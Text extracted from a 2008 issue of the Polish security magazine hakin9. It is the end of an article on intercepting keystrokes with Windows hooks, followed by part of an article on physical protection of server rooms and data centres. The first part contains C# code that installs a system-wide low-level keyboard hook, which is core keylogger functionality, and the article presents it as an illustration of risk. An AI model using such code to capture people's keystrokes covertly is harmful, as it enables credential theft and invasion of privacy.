Jeeli funkcja ta zadziaa poprawnie, zwrci uchwyt do funkcji monitorujcej. W przeciwnym wypadku zwrci warto null. Gdy ju nie chcemy przechwytywa wybranych komunikatw, moemy odinstalowa funkcj monitorujc. Suy do tego funkcja UnhookWindowsHookEx . Jej parametr to uchwyt do funkcji monitorujcej, ktry otrzymujemy jako warto zwracan przez funkcj SetWindowsHookEx . Jeeli funkcja zadziaa poprawnie, zwracana warto jest niezerowa. W przeciwnym wypadku zwracan wartoci jest zero. Funkcja GetModuleHandle uzyskuje uchwyt do wybranego moduu, ktrego nazw przekazujemy jako parametr (plik .dll lub .exe). JeListing 10. Metoda GetHookProc

eli funkcja zadziaa prawidowo, wwczas zwracan wartoci jest uchwyt do danego moduu. W kolejnym kroku zdefiniujemy delegacj dla funkcji monitorujcej. Jej sygnatura i typ musz zatem by zgodne z sygnatur i typem zwracanym funkcji monitorujcej. Po zdefiniowaniu delegacji tworzymy jej referencj. Warto podkreli, e obiekt delegacji musi by zadeklarowany jako static. Potrzebne nam bdzie take pole, w ktrym zapiszemy uchwyt do funkcji monitorujcej zwracany przez funkcj SetWindowsHookEx . Nazwiemy je result . Ostatnim polem bdzie staa oznaczajca typ haka, jaki chcemy zainstalowa. Nasza funkcja ma za zadanie przechwytywa komunikaty klawiatury, wic parametr ten bdzie mia warto 0x0d i nazwiemy go WH _ KEYBOARD _ LL . Kroki te przedstawia Listing 9. Teraz zajmiemy si napisaniem prywatnej metody GetHookProc , dziki ktrej stworzymy obiekt delegacji HookProc z zarejestrowan funkcj monitorujc. W projekcie przyjmujemy, e biblioteka DLL nosi nazw TestDll, znajduje si w tym samym katalogu, co plik wykonywalny oraz e nazwa funkcji monitorujcej to MonitorFunction. Kod metody jest przedstawiony na Listingu 10.

private bool GetHookProc() { try { string sc = Environment.CurrentDirectory + "\\" + "TestDll.dll"; Assembly a = Assembly.LoadFrom(sc); Type[] tab = a.GetExportedTypes(); MethodInfo methodInfo = null; foreach (Type t in tab) { methodInfo = t.GetMethod("MonitorFunction"); } hookProc = (HookProc)Delegate.CreateDelegate(typeof(HookProc), methodInfo); return true; } catch { return false; } }

www.hakin9.org

hakin9 Nr 01/2008

47

Atak

W metodzie tej mamy zaprezentowany jeden ze sposobw importowania metod z bibliotek czenia dynamicznego, stworzonych z wykorzystaniem Visual C#. Aby mc to zrobi, musimy doda do projektu przestrze nazw System.Reflec-

tion. Na pocztku tworzymy zmienn typu string, ktra zawiera ciek do pliku DLL, z ktrego chcemy importowa metod. Nastpnie tworzymy obiekt klasy Assembly, reprezentujcy tzw. pakiet kodu (ang. assembly). Pakietem kodu moe by

Listing 11. Metoda instalujca oraz usuwajca funkcj monitorujc


public bool InstallHook() { try { if (GetHookProc()) { result = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHan dle("TestDll.dll"), 0); return true; } else return false; } catch { return false; } } public void CloseHook() { UnhookWindowsHookEx(result); }

Listing 12. Definicja klasy Form1


using using using using using using using System; System.Collections.Generic; System.ComponentModel; System.Data; System.Drawing; System.Text; System.Windows.Forms;

namespace TestHooks { public partial class Form1 : Form { private HookClass hookClass; private bool hookInstallDone = true; public Form1() { InitializeComponent(); hookClass = new HookClass(); if(!hookClass.InstallHook()) hookInstallDone = false; } private void OnClosing(object sender, EventArgs e) { if(hookInstallDone) hookClass.CloseHook(); } } }

zarwno biblioteka czona dynamicznie, jak i plik wykonywalny. Obiekt klasy Assembly jest tworzony przez wywoanie statycznej metody tej klasy LoadFrom . Jej parametrem jest cieka do pakietu kodu, ktry chcemy zaadowa. Metoda zwraca nam nowo utworzony obiekt klasy Assembly. Kolejnym krokiem jest wywoanie metody GetExportedTypes klasy Assembly. Metoda ta zwraca publiczne typy znajdujce si w okrelonym pakiecie kodu, ktre uytkownik moe wykorzysta w swojej zewntrznej aplikacji. Uzyskujemy w ten sposb tablic obiektw klasy Type. Nastpnie deklarujemy pust referencj do obiektu klasy MethodInfo. Teraz musimy przeszuka nasze typy w celu odnalezienia typu bdcego klas zawierajc definicj funkcji monitorujcej. Najlepiej do tego celu nadaje si ptla foreach . Wewntrz ptli uywamy metody GetMethod do sprawdzenia, czy dany typ zawiera definicj funkcji monitorujcej. Jeeli znajdziemy taki typ, wwczas GetMethod zwraca nam obiekt typu MethodInfo, w przeciwnym wypadku bdzie to warto null. Pora teraz na stworzenie obiektu delegacji. Wykorzystamy do tego statyczn metod klasy Delegate o nazwie CreateDelegate , ktra przyjmuje dwa parametry. Pierwszym z nich jest typ delegacji, jaki ma zosta stworzony. Drugi to obiekt typu MethodInfo . Aby uzyska typ naszej delegacji, uywamy operatora typeof. Poniewa metoda CreateDelegate zwraca obiekt typu Delegate , musimy rzutowa zwracany typ na typ naszej delegacji. Metoda zwraca warto rn od zera, gdy uda si utworzy delegacj z zarejestrowan funkcj monitorujc, w innym wypadku zwraca zero. Moemy teraz przej do napisania publicznej metody InstallHook , ktra posuy nam do zainstalowania funkcji monitorujcej. Definicj tej metody przedstawia Listing 11. Warto zwrci uwag, e identyfikator wtku rwna si 0. Dzieje si tak, poniewa chcemy powiza

48

hakin9 Nr 01/2008

www.hakin9.org

O autorach

Sawomir Orowski z wyksztacenia fizyk. Obecnie jest doktorantem na Wydziale Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikoaja Kopernika w Toruniu. Zajmuje si symulacjami komputerowymi ukadw biologicznych (dynamika molekularna) oraz bioinformatyk. Programowanie jest nieodzown czci jego pracy naukowej i dydaktycznej. Ma dowiadczenie w programowaniu w jzykach C, C++, Delphi, Fortran, Java i Tcl. Z jzykiem C# i platform .NET pracuje od 2002 roku. Jest autorem ksiek informatycznych. Strona domowa: http://www.fizyka.umk.pl/~bigman/. Kontakt z autorem: bigman@fizyka.umk.pl. Maciej Pakulski absolwent studiw inynierskich na kierunku Fizyka Techniczna Wydziau Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikoaja Kopernika w Toruniu. Obecnie na studiach magisterskich. Programowaniem zajmuje si od 2004 roku. Potrafi programowa biegle w jzykach C/C++, Java, VHDL. Programowaniem w jzyku C#, a take platform .NET zajmuje si od 2006 roku. Kontakt z autorem: mac_pak@interia.pl.

nasz funkcj monitorujc z wszystkimi istniejcymi wtkami. Odinstalowanie funkcji monitorujcej odbywa si przez wywoanie publicznej metody CloseHook , ktrej definicj przedstawia rwnie Listing 11. Moemy teraz przej do stworzenia obiektu naszej klasy. Przechodzimy do widoku formy Form1 i naciskamy F7. Przypominamy, e forma reprezentuje w naszym projekcie pewn aplikacj, w ktrej chcemy mie moliwo uycia funkcji monitorujcej. Jej kod przedstawia Listing 12. W konstruktorze Form1 tworzymy nowy obiekt klasy HookClass i wywoujemy funkcj monitorujc. Monitorowanie powinno zosta zatrzymane w momencie, gdy aplikacja skoczy dziaanie. W zwizku z tym dla zdarzenia FormClosing dodajemy metod zdarzeniow, ktra wyczy nasz hak. Pole hookInstallDone zabezpiecza przed prb odinstalowania funkcji monitorujcej, gdy nie zostaa ona wczeniej zainstalowana.

Podsumowanie

Artyku ten opisuje uycie hakw systemu Windows w celu podsuchiwania klawiatury. Jednak mechanizm hakw nie zosta stworzony po to, eby umoliwi pisanie narzdzi hakerskich. Haki nadaj si wietnie wszdzie tam, gdzie zachodzi potrzeba nadzorowania jednej aplikacji przez inn (np. tryb debuggera, aplikacje szkoleniowe). Jeli nie podoba nam si dziaanie jakie aplikacji w zwizku z konkretnym zdarzeniem, moemy napisa wasn metod zdarzeniow i podpi si z ni za pomoc mechanizmu hakw do aplikacji. Mona te napisa wasny hak, ktry bdzie w stanie wyczy inne haki. Jak wida, moliwoci jest wiele ale ta swoboda stanowi jednoczenie due zagroenie, co mamy nadziej pokaza ten artyku. l

Fizyczna ochrona farm serwerw


Obrona
Rafa Podsiady

stopie trudnoci

Pisze si wiele o zagroeniach i lukach systemowych, a nikt nie pamita o urzdzeniach, ktre peni wan rol w ochronie serwera, ani o zagroeniach zwizanych z mechanik.

erwery to komputery wiadczce usugi sieciowe (w firmie i poza ni) klientom bd uytkownikom oraz wykonujce specjalne zadania, do ktrych zostay zaprojektowane. Dobrym przykadem mog by tutaj komputery PC, speniajce rol internetowego serwera WWW, serwera pocztowego lub dostpowego, firewalla czy obsugujce firmowy intranet. Od nich zaley sprawne dziaanie kadej sieci, dlatego przy ich budowaniu stawia si przede wszystkim na niezawodno i bezpieczestwo zgromadzonych na nich danych. Przede wszystkim zdecydowana wikszo serwerw musi pracowa 24 godziny na dob przez 7 dni w tygodniu i wszystkie podzespoy musz by niezawodne. Naraone na uszkodzenia s zwaszcza komponenty zawierajce liczne elementy mechaniczne, przede wszystkim twarde dyski, ale rwnie wentylatory czy zasilacze. Firmy wykorzystujce systemy e-biznesowe musz zapewni stay wgld do swoich zasobw nie tylko pracownikom, ale rwnie kooperantom i potencjalnym klientom. W takim przypadku nie ma mowy o jakimkolwiek przestoju. Kada chwila, w ktrej niedostpna jest na przykad firmowa witryna WWW, moe skut-

kowa utrat klienta, a co za tym idzie zmniejszeniem obrotw. Dlatego przy zakupie serwera nie naley si kierowa tylko wydajnoci urzdzenia, ale rwnie szeregiem aspektw dotyczcych ochrony i bezpieczestwa danych oraz zapleczem technicznym gwarantowanym przez dostawc lub producenta. Takie urzdzenia nie nale do tanich. Wreszcie, gdyby doszo jednak do awarii, konstrukcja serwera musi zapewnia jak najszybsz moliwo wymiany uszkodzonego podzespou. Rwnie istotne jest, aby serwer pozwala w atwy sposb wykonywa kopie zapasowe danych na wszelkie przewidziane i nieprzewidziane wypadki.

Z artykuu dowiesz si
jak zabezpieczy swj serwer, jakich narzdzi uy, jakie s standardy obowizujce w tak zwanych farmach serwerw.

Co powiniene wiedzie
zna podstawy systemw operacyjnych, zna podstawy sieci i technik komputerowych.

50

hakin9 Nr 01/2008

www.hakin9.org

Serwery co im zagraa, jak si zabezpieczy

W przypadku maego serwera zbudowanego na komputerze stacjonarnym (zdecydowanie nie polecam tego typu rozwizania, jednak takie istniej), uszkodzenie sprztu sprowadza si do pjcia do sklepu i wymiany wadliwego elementu na nowy. Zakres czasowy naprawy to kilka godzin. W sytuacji, gdy powanie podchodzimy do bezpieczestwa danych, szukamy bardziej wyrafinowanych rozwiza. Urzdzenie, ktre chcielibymy postawi w naszej firmie, ma spenia wymagania okrelone w dalszej czci tego artykuu. Powinno by bezpieczne i niezawodne. Obecnie na rynku jest duy wybr takich rozwiza, jedynie zasb gotwki, jaki chcemy przeznaczy na ten cel, decyduje o jego funkcjonalnoci. Gotowe serwery s profesjonalnie przygotowane do pracy, wykonane z twardszych materiaw, a odpowiednio dobrane ukady scalone zapewniaj niezawodn prac przez duszy okres czasu. Mimo to, kupujc taki serwer, musimy liczy si z ewentualnym zagroeniem, jakim jest awaria. Gdyby jednak nastpia, dobrze by byo przewidzie tak sytuacj i ograniczy czas przestoju serwera do niezbdnego minimum. Jednym ze sposobw zabezpiecze jest posiadanie przy sobie kompletu strategicznych czci, bez ktrych serwer nie moe zosta uruchomiony, jednake podzespoy s drogie i nikt nie stosuje takiej praktyki. Z drugiej strony, wiemy, e z dostpnoci czci zapasowych u producenta bywa rnie awaria moe trwa do kilku dni. Czy moemy sobie na to pozwoli? Byoby to rozwizanie bardzo niebezpieczne dla firmy. Aby obroni si przed taka sytuacj, podpisujemy umow dotyczc usug serwisowych. Gdy kupimy nowy sprzt, usuga ta jest objta gwarancj producenta. Wykupienie serwera w Data Center zapewnia nam kilka rde dostpu do Internetu, jednak naprawy musimy wykona sami, na wasny koszt. Dopiero dzierawa serwera zapewnia odpowiedni standard wymiany uszkodzonych podzespow. Minu-

Rysunek 1. Pyta gwna sem posiadania takiej dzierawy s ograniczenia w fizycznym dostpie do serwera, czsto zdarza si, e jest on ograniczony do kilku godzin dziennie. W profesjonalnych serwerach dy si do jak najwikszej integracji kilku niezbdnych podzespow z pyt gwn. Za umieszczeniem karty graficznej, sieciowej i kontrolera SCSI bezporednio na pycie przemawiaj dwa argumenty. Po pierwsze, s to elementy w zasadzie rzadko podlegajce wymianie podczas eksploatacji, a niezbdne do funkcjonowania serwera. Po drugie, zwiksza si liczba dostpnych gniazd na karty rozszerze, umoliwiajc w ten sposb rozbudow konfiguracji serwera o kolejne komponenty, np. kontroler RAID, modem lub dodatkow kart sieciow. Z kolei najprostszym sposobem zwielokrotnienia wydajnoci maszyny jest dooenie kolejnej jednostki obliczeniowej procesora. Czsto pyta gwna umoliwia monta drugiej i nastpnych jednostek centralnych. Jeli okae si, e nasz serwer jest ju za saby, wwczas wystarczy dooy kolejny procesor i problem zostaje (przynajmniej na jaki czas) rozwizany. Jednym z podstawowych zada serwera jest przechowywanie i udostpnianie uytkownikom rnych baz danych i plikw. Aby byo to moliwe, kady serwer musi by wyposaony w jeden lub kilka dyskw twardych. Kluczow kwesti jest integralno i bezpieczestwo przechowywanych danych. W niektrych serwerach zasada ta realizowana jest za pomoc kontrolera RAID (Redundant Array of Independent Disks) oraz macierzy umoliwiajcej wymian dyskw na gorco hot swap. Dziki temu mona czy dyski twarde w wiksze zespoy (macierze) dla zwikszenia wydajnoci lub pojemnoci systemu pamici dyskowej bd uodpornienia go na ewentualne awarie jednego, czy nawet kilku dyskw. Stosujc niektre warianty RAID, mona speni oba te zaoenia. Mogoby si wydawa, e w wikszoci serwerw montowane s dyski SCSI. Tymczasem w przypadku tanich serwerw przeznaczonych dla maych firm najczciej instalowane s dyski Serial ATA. Ma to swoje uzasadnienie przede wszystkim w cenie tego typu maszyn. Dyski Serial ATA wci s duo tasze ni konkurencja z interfejsem SCSI. Niestety, w serwerach, w ktrych kluczow

www.hakin9.org

hakin9 Nr 01/2008

51

Obrona

rol odgrywa podsystem dyskowy, nadal krluj kontrolery SCSI i to z szybkim interfejsem Ultra 320 SCSI, charakteryzujcym si moliwoci przesyania danych z prdkoci dochodzc do 320 MB/s. Kolejn zalet interfejsu SCSI jest moliwo obsugi a 32 urzdze (np. dyskw twardych).

HotPlug PCI

Jest to technologia opracowana przez firm Compaq standardowy mechanizm pozwalajcy wymieni uszkodzon kart PCI bez wyczania zasilania. Plusem takiego rozwizania jest przejmowanie funkcjonalnoci jednej karty sieciowej przez drug, niezauwaalnie dla uytkownikw (w urzdzeniach Intela funkcja ta nazywa si AFT). W tym czasie administrator moe wymieni uszkodzon kart na sprawn, nie wyczajc serwera ani na sekund.

Wntrze serwera

Rozmieszczenie urzdze funkcjonalna, przestronna i bezpieczna obudowa serwera to rzecz bardzo istotna. Musi zapewnia doskonae warunki pracy podzespoom, a w razie ich awarii pozwala na jak najszybsz napraw. Wszystkie ukady obliczeniowe powinny posiada radiatory. Na pami RAM jest przewanie umieszczanych 6-8 slotw, pakowanych po 2GB i pracujcych w technologii DDR-2. Kontroler pamici posiada ukady odpowiadajce za jej skanowanie w celu wykrywania bdw. Na pycie gwnej powinna znajdowa si take karta graficzna. Takie kontrolery jak IDE, SCSI, SATA, wbudowane s standardowo, pozwalajc podczy urzdzenia pracujce z wiksza szybkoci, ni dostpna w komputerach domowych. Wbudowany jest rwnie ukad RAID. Procesory i pami nie powinny by zasonite przez inne podzespoy, np. przez zasilacz. Przydatnym dodatkiem s specjalne zatrzaski mocujce karty rozszerze. Generalnie, im mniej rubek potrzeba do zmontowania serwera, tym jego pniejsze utrzymanie czy rozbudowa bd atwiejsze. Do zalet niewtpliwie naley bardzo atwy dostp do dyskw i nadmiarowe, atwo wymienialne zasilacze. Take chodzenie powinno by oparte o wentylatory umocowane np. w styropianowym bloku (cho pewn wad moe by atwy dostp kurzu do wntrza obudowy). Jak wida, do zaprojektowania dobrej obudowy serwera naley przemyle kady szczeg. Pyta gwna wikszo producentw decyduje si na pen integracj z pyt gwn serwera najwikszej liczby podzespow. Przede

wszystkim gwarantuje to cakowit zgodno uytych komponentw. Ewentualne problemy ze zgodnoci mogyby spowodowa niestabiln prac serwera. Po drugie, pozwala to zaoszczdzi miejsce w obudowie i poprawia cyrkulacj powietrza. Po trzecie, integracja oznacza nisze koszty zakupu serwera. Najczciej z pyt gwn zintegrowana zostaje karta graficzna. Prawie zawsze wykorzystywane s do proste ukady wyprodukowane przez ATI lub S3, wykorzystujce 32 MB pamici RAM, ktra nie jest wspdzielona z serwerem. W niektrych serwerach dodano zcze AGP, pozwalajce zainstalowa inn kart graficzn. Wbudowane kontrolery SCSI (Ultra 320 SCSI) su przede wszystkim do podczenia twardych dyskw jeli w serwerze nie zosta zainstalowany dodatkowy kontroler, z lepszymi parametrami. Prawie kada pyta gwna serwera jest rwnie wyposaona w zintegrowan kart sieciow 10/100Mb/s, a nawet 1Gb/s. W nowych, serwerowych pytach gwnych instalowane s te zcza PCI Express o przepustowoci do 16GB/s, przeznaczone dla kontrolerw SCSI nastpnej generacji i kart sieciowych 10Gb/s. chipset powinien by kompatybilny ze standardem SMBus, ktry definiuje zasady zdalnego zarzdzania serwerem, w pamici informacja elektroniczna przechowywana jest w postaci cigu zer i jedynek. Gdy dane s przesyane pomidzy rnymi podzespoami (np. pamici i procesorem), zawsze istnieje niewielkie prawdopodobiestwo, e dojdzie do przekamania. Przykadowo, na skutek zakce elektrostatycz-

nych, zero zostanie odczytane jako jedynka. W zwykym pececie spowoduje to mniej lub bardziej powane zakcenia w pracy (cznie z zawieszeniem si). W przypadku serwera jest to niedopuszczalne. Aby unikn takich problemw, do przesyanych danych dodaje si specjalne wartoci kontrolne, ktre razem z danymi tworz ustalone wzorce. Jeli system ECC wykryje, e przesyane dane s niezgodne z list ustalonych wzorcw, to znaczy, e wystpi bd. Prba jego naprawy polega na porwnaniu, ktry z prawidowych wzorcw jest najbardziej podobny do niewaciwego cigu danych. Gdy taki wzorzec zostanie znaleziony, zastpuje bdne dane. Noniki danych serwery to krlestwo dyskw SCSI; praktycznie nie spotyka si dyskw z interfejsem IDE. Wynika to, tak jak w przypadku wszystkich pozostaych rnic konstrukcyjnych w porwnaniu do domowych pecetw, ze specyficznych wymaga stawianych serwerom. Dyski musz by bardzo szybkie i niezawodne. Aby to uzyska, najczciej stosuje si macierze dyskowe typu RAID, ktre w zalenoci od konfiguracji podnosz wydajno podzespou dyskowego, zwikszaj jego bezpieczestwo, albo jedno i drugie. Cen, jak trzeba zapaci, jest zmniejszenie przestrzeni dyskowej. Nawet jednak zastosowanie kontrolera RAID nie zabezpiecza przed takimi wypadkami losowymi jak poar. Dlatego trzeba zadba o dodatkowe mechanizmy zabezpieczenia danych. Najbardziej naturalnym narzdziem jest

52

hakin9 Nr 01/2008

www.hakin9.org

Serwery co im zagraa, jak si zabezpieczy

w tym wypadku streamer napd odczytujcy i zapisujcy noniki tamowe. Maj one pojemno od kilku do kilkuset GB i pozwalaj bardzo szybko wykona kopi zapasow. Niestety, streamery w segmencie tanich serwerw nie s popularne ze wzgldu na cen, oscylujc w granicach kilku tysicy zotych. Kontroler RAID ma wbudowan pami cache, ktra powinna by podtrzymywana przez baterie w przypadku awarii zasilania nie trzeba si obawia utraty danych bdcych akurat w pamici cache. Dodatkowym atutem jest technika OBDR, dziki ktrej w razie awarii systemu mona uruchomi go z kasety, zawierajcej jednoczenie kopi zapasow. Kieszenie na dyski typu Hot Swap rwnie istotne s moliwoci rozbudowy serwera. Wprawdzie w chwili zakupu jego konfiguracja moe by wystarczajca, ale ju niebawem pojawi si potrzeba dodania pamici czy kolejnych dyskw. Szczeglnie istotna jest liczba kieszeni na twarde dyski. Najlepiej, eby kieszenie byy typu Hot Swap i dostpne z zewntrz co oznacza, e dyski mona dodawa i usuwa podczas pracy systemu. Pi dostpnych z zewntrz kieszeni na dyski to rozwizanie bardzo dobre, trzy kieszenie rozsdne. Zasilanie podczenie serwera do kontaktu, nawet przez listw zasilajc kupion za 30 zotych w sklepie komputerowym to pomyka. Serwer ma dziaa nieprzerwanie, a zatem nie moe restartowa si, ilekro spadnie napicie. Podczenie do UPSa za 200 zotych rwnie odpada, bo nawet bez monitora serwer z szybkim procesorem i 2 twardymi dyskami zuyje cay prd w cigu 20 minut). Przydaby si zatem porzdny UPS, a nawet jeli przerwy w dostawie prdu s czstsze generator prdu. Poza tym nie mona go ustawi w biurze, a zatem jest potrzebne odpowiednie pomieszczenie, aby go tam trzyma. Jedn z czstszych przyczyn awarii jest uszkodzenie zasilacza komputera. Dlatego wielu producentw decyduje si

na wykorzystanie nadmiarowych zasilaczy; w przypadku awarii jednego drugi natychmiast (w przecigu kilku milisekund) przejmuje zasilanie serwera. Wane jest rwnie, aby moc zasilacza nie bya nisza ni 350 W, a optimum to 400 W. Zasilacze zapewniaj rwnie nadmiarowo mocy, niezbdn nie tylko ze wzgldu na moliwo spadku mocy, lecz i z tego powodu, e serwery stosowane w biznesie pobieraj wicej energii. Bezpieczestwo serwerw wspomaga rwnie specjalny ukad BMC (Baseboard Management Controller), odpowiadajcy za monitorowanie stanu pracy poszczeglnych komponentw wchodzcych w skad serwera. BMC zbiera informacje pochodzce z czujnikw rozmieszczonych w rnych czciach pyty gwnej i obudowy (np. o temperaturze procesorw, prdkoci obrotowej wentylatorw, napiciach zasilania). Dziki oprogramowaniu wsppracujcemu z BMC administrator moe by automatycznie powiadomiony o zdarzeniach. Powietrze wewntrz obudowy bezawaryjno serwera w duej mierze zaley od odpowiedniej cyrkulacji powietrza wewntrz obudowy. W zwizku z tym obudowy serwerowe s standardowo wyposaane w dodatkowe wentylatory, ktre zasysaj chodne powietrze, a wydmuchuj nagrzane. Bardzo istotne jest odpowiednie poprowadzenie kabli, czsto mocowanych w specjalnych osonkach zmniejszajcych ich obwd. Wyposaenie obudowy w dwa wentylatory, w poczeniu z uporzdkowanym i przestronnym wntrzem, powinno ju zagwarantowa dobr cyrkulacj powietrza. Niektrzy z producentw stosuj specjalnie wyprofilowany plastikowy tunel dodatkowo uatwiajc odprowadzanie ciepa. Same wentylatory powinny mie charakter hot plug, aby mona je byo odczy lub podczy za pomoc jednego zatrzasku, podczas pracy serwera. Rozbudowany serwer w swej architekturze wydziela znacznie wicej ciepa ni zwyky komputer. Dlatego klimaty-

zacja pomieszczenia te jest wana. W centrach serwerowych ma ona takie samo znaczenie, jak odprowadzanie ciepa z radiatorw. Pomieszczenie dostosowanie pomieszczenia do pracy serwera jest kluczow spraw, ktrej gwnymi aspektami s: podoga i ciany pokryte elementami antypyowymi, z ktrych wyczyszczenie kurzu jest bardzo atwe; ognioodporne elementy suce do budowy cian i podogi; zdublowane korytarze na kable zasilajce oddzielone od kabli sieciowych umieszczone pod podog. W pomieszczeniu montujemy klimatyzacj, ktra zapewni temperatur na poziomie 20C +/- 1C oraz wilgotno powietrza 45-50 proc, co obniy ryzyko awarii i przeduy ywotno sprztu. Przy klimatyzacji naley take pamita o kanaach wentylacyjnych, poniewa temperatura w rodku serwera jest kilkakrotnie wysza ni na zewntrz szafy. Tam, gdzie zaczyna si wykorzystywa chodzenie wodne, uwidaczniaj si jego zalety polegajce na ograniczeniu haasu. Te wszystkie systemy s ze sob sprzone, podczone do programu nadzorcy, poprzez ktry wykonywana jest analiza pomiaru emisji ciepa, wykorzystywana do sterowania poborem mocy przez pojedynczy serwer lub grup komputerw. Okrelenie rozkadu temperatur wraz z punktami krytycznymi pozwala oceni, gdzie nastpia awaria systemu chodzenia, klimatyzacji lub urzdze.

Centra serwerowe

Data Center to w pierwszej kolejnoci budynek jego projekt i wykonanie uwzgldniajce wszystkie czynniki decydujce o jakoci pomieszcze do przechowywania sprztu, oraz infrastruktura elektronika, determinujca w duej mierze stopie niezawodnoci zabezpiecze. Konstrukcja bezpiecznego budynku powinna zapewnia ergonomiczne rozmieszczenie szaf i stojakw, oddzielenie sali z serwerami od pomieszcze dla operatorw, podogi musz umoliwia prowadzenie kabli w kanaach. Zabezpieczenia przed

www.hakin9.org

hakin9 Nr 01/2008

53

Obrona

niepowoanymi uytkownikami to system kontroli dostpu i ochrona obiektu karty elektroniczne, systemy alarmowe, stranicy, telewizja przemysowa. Zabezpieczenie przed czynnikami rodowiska (katastrofami) to w przypadku Polski przede wszystkim ochrona przed poarem drzwi wytrzymujce napr ognia oraz systemy wykrywania i automatycznego gaszenia poarw. W ramach zapewnienia bezpieczestwa zadba naley take o zasilanie UPS-y, agregaty prdotwrcze i wasn stacj transformatorow. Istotna jest rwnie szybka i niezawodna (najlepiej redundantna) komunikacja ze wiatem zewntrznym.

Bezpieczestwo fizyczne i rodowiskowe

Powszechne jest przewiadczenie, e firewall chroni przed wszystkimi zagroeniami, jakie mog czyha na informacje posiadane przez firm. Wydawane s ogromne pienidze na kolejne systemy wykrywania wama w sieciach, ciany ogniowe, oprogramowanie antywirusowe, wirtualne sieci prywatne. Zabezpieczenia te s niewtpliwie potrzebne, ale dotycz warstwy sieciowej. Zapominamy natomiast o bezpieczestwie fizycznym i rodowiskowym. Poufne dane mona zdoby nie poprzez podsuchanie ich w czasie transmisji, ale wamujc si do biura i kradnc stojcy w korytarzu serwer plikw. Idc dalej t ciek doskonale skonfigurowany firewall chronicy cze internetowe nie ochroni sieci firmy, jeli ktry z pracownikw zainstaluje w swoim komputerze modem, a wamywacz wykorzysta go do wejcia do systemu. Tajne informacje o nowym produkcie nie musz zosta zdobyte dziki wamaniu na serwer, jeli konkurencja znajdzie wydruki ze szczegowymi opisami i raportami na mietniku. Szczegy umowy nie zostan zdobyte przez zamanie sieci WiFi, ale dziki podsuchaniu rozmowy prowadzonej przez prezesw w kawiarni. Zagadnienie bezpieczestwa fizycznego w politykach bezpiecze-

stwa wielu firm traktowane jest powierzchownie. Moe okaza si to niewybaczalnym bdem popenionym przez autora teje polityki. Ochrona fizyczna urzdze sucych do przetwarzania informacji powinna rozpocz si od wydzielenia obszarw bezpiecznych. Naley stworzy bariery fizyczne otaczajce pomieszczenia firmy. Kolejne bariery tworz nastpne obwody zabezpieczajce, mog to by: ogrodzenie dookoa budynku, ciana, drzwi, zamki w drzwiach, brama wejciowa otwierana za pomoc karty, recepcja obsugiwana przez czowieka, owietlenie chronionego obszaru, wspomniane ju kamery telewizji przemysowej (CCTV), systemy alarmowe, pracownicy ochrony. Obwd zabezpieczajcy musi by solidny i nie powinno by w nim przerw ani obszarw, ktre mogyby uatwi wamanie. Obszarem bezpiecznym moe by zamykane biuro lub kilka pomieszcze znajdujcych si wewntrz fizycznego obwodu zabezpieczajcego. Niedopuszczalna jest sytuacja, w ktrej obce osoby chodz po biurze i mog mie dostp do urzdze przetwarzajcych dane. Gocie wchodzcy do bezpiecznych obszarw powinni by nadzorowani, a data i czas ich wejcia oraz wyjcia rejestrowane. W wikszych firmach wskazane jest noszenie przez pracownikw identyfikatorw podczas przebywania w obszarach bezpiecznych. Wszystkie osoby, ktre nie s w towarzystwie innego pracownika i nie posiadaj identyfikatora, powinny zosta zapytane o tosamo oraz cel pobytu. Zastosowanie zamkw biometrycznych lub kart magnetycznych dodatkowo poprawia bezpieczestwo zamykanych pomieszcze. Warto zapisywa informacje o udanych i nieudanych przypadkach uzyskania dostpu w celach audytu. Polityka bezpieczestwa musi wymaga aktualizowania praw dostpu do obszarw bezpiecznych oraz okrela, kiedy prawa te powinny by cofane (na przykad na czas, kiedy pracownik wyjeda na urlop).

Fizyczna ochrona sprztu powinna przeciwdziaa nie tylko zagroeniu nieupowanionego dostpu do informacji, ale rwnie niebezpiecznym czynnikom rodowiskowym, ktre mogyby wpyn na dziaanie urzdze. Podstawowe kategorie zagroe, na ktre sprzt moe by naraony to prby nieupowanionego dostpu, zagroenia rodowiskowe poar, powd, trzsienie ziemi, py, dym, w rodowiskach przemysowych py, kurz, drgania, oddziaywania chemiczne, awarie zasilania, klimatyzacji, przerwa w dostawie wody, interferencje ze rde zasilania, promieniowanie elektromagnetyczne. Monitorowanie warunkw rodowiskowych pomoe wykry czynniki, ktre mogyby wpyn niekorzystnie na prac urzdze przetwarzajcych informacje lub spowodowa ich awari. Pomocna moe by te symulacja rnego rodzaju katastrof (oczywicie nie proponuje si detonowania bomby w korytarzu lub zalania serwerowni, ale raczej analiz teoretyczn, popart dowiadczeniami innych firm). Urzdzenia przetwarzajce dane powinny zosta umieszczone w taki sposb, by zminimalizowa moliwo niepodanego dostpu do obszarw roboczych oraz ograniczy do minimum brak nadzoru podczas ich uywania. Najwaniejsze urzdzenia powinny zosta rozmieszczone w obszarach bezpiecznych tak, aby wykluczy publiczny dostp do nich. Naley pamita rwnie o drukarkach sieciowych, kserokopiarkach czy urzdzeniach faksowych. Dla zachowania cigoci pracy firmy szczeglnie istotne jest zapewnienie cigoci zasilania w energi elektryczn. W zalenoci od szacowanego ryzyka i poziomu cigoci dziaania, ktry naley zapewni, moemy stosowa nastpujce rozwizania zasilacze awaryjne (UPS), generator awaryjny jeli przerwy w dostawie energii elektrycznej mog by dusze a take zwielokrotnione linie zasilajce. Zasilanie awaryjne powinno pozwoli na kontynuacj pracy przez urzdzenia suce przetwarzaniu informacji, ale rwnie zapewni dziaanie owietlenia i cznoci.

54

hakin9 Nr 01/2008

www.hakin9.org

Serwery co im zagraa, jak si zabezpieczy

